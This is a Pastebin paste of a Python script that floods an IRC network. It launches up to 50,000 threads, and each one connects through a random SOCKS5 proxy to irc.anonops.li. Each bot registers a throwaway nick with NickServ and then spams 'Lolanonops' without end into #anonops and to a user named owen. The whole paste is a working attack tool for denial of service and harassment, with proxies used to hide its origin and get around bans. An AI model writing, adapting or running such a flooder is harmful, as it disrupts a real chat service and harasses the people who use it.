Advertisement
Guest User

Untitled

a guest
Oct 2nd, 2017
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.29 KB | None | 0 0
  1. # Import some usefull stuff
  2. import socks
  3. import random
  4. import threading
  5. import time
  6. import string
  7.  
  8.  
  9. class MyThread(threading.Thread):
  10.         def run(self):
  11.                 ircsock = socks.socksocket()
  12.                 choice = random.choice(lines)
  13.                 choice = choice.split(":")
  14.                 pport = choice[1].replace("\n", "")
  15.                 pserver = choice[0]
  16.  
  17.                 try:
  18.                         ircsock.setproxy(socks.PROXY_TYPE_SOCKS5, pserver, int(pport))
  19.                         ircsock.connect((server, port))
  20.                         print("Connecting trough "+ pserver +":"+ str(pport) +"...")
  21.                         ircsock.send("USER "+ nick +" "+ nick +" * :"+ nick +"\n")
  22.                         ircsock.send("NICK "+ nick +"\n")
  23.                         ircsock.send("JOIN #buffer\n")
  24.                         ircsock.send("PRIVMSG #buffer :I will register my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
  25.                         time.sleep(60)
  26.                         # This will register the nickname.
  27.                         ircsock.send("PRIVMSG nickserv :REGISTER "+ nick +"h "+ nick +"@gmail.com\n")          
  28.                        
  29.                  
  30.  
  31.                          #Send message about winning!
  32.                         ircsock.send("PRIVMSG "+ channel +" :I just registered my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
  33.  
  34.                      # Joins the channel
  35.                         ircsock.send("JOIN "+ channel +"\n")
  36.  
  37.                         while 1:
  38.                                 ircmsg = ircsock.recv(1024)
  39.                                 ircmsg = ircmsg.strip('\n\r')
  40.                                 ircmsg = ircmsg.lower()
  41.                                
  42.                                 ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
  43.                                 ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
  44.                                 ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
  45.                                 ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
  46.                                 ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
  47.                                 ircsock.send("PRIVMSG owen : "+ message +"\n")
  48.                                 ircsock.send("PRIVMSG owen : "+ message +"\n")
  49.                            
  50.                                 ircsock.send("NICK "+ nick +"\n")
  51.                        
  52.                                 if ircmsg.find("ping :") != -1:
  53.                                     ping = ircmsg.split("ping :")
  54.                                     ircsock.send("PONG "+ ping[1] +"\n")
  55.                                
  56.                                 time.sleep(1)
  57.                 except:
  58.                         print("Could not connect with the proxy")
  59.  
  60.  
  61. for x in xrange ( 50000 ):
  62.         nicklength = random.randint(3,15)
  63.         server = "irc.anonops.li"
  64.         port = 6667
  65.         nick = "lulz".join(random.choice(string.letters) for _ in range(nicklength))
  66.         channel = "#anonops"
  67.         message = "Lolanonops"
  68.  
  69.         fil = open("socks5.txt", "r")
  70.         lines = fil.readlines()
  71.         MyThread().start()
  72.         time.sleep(0.02)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement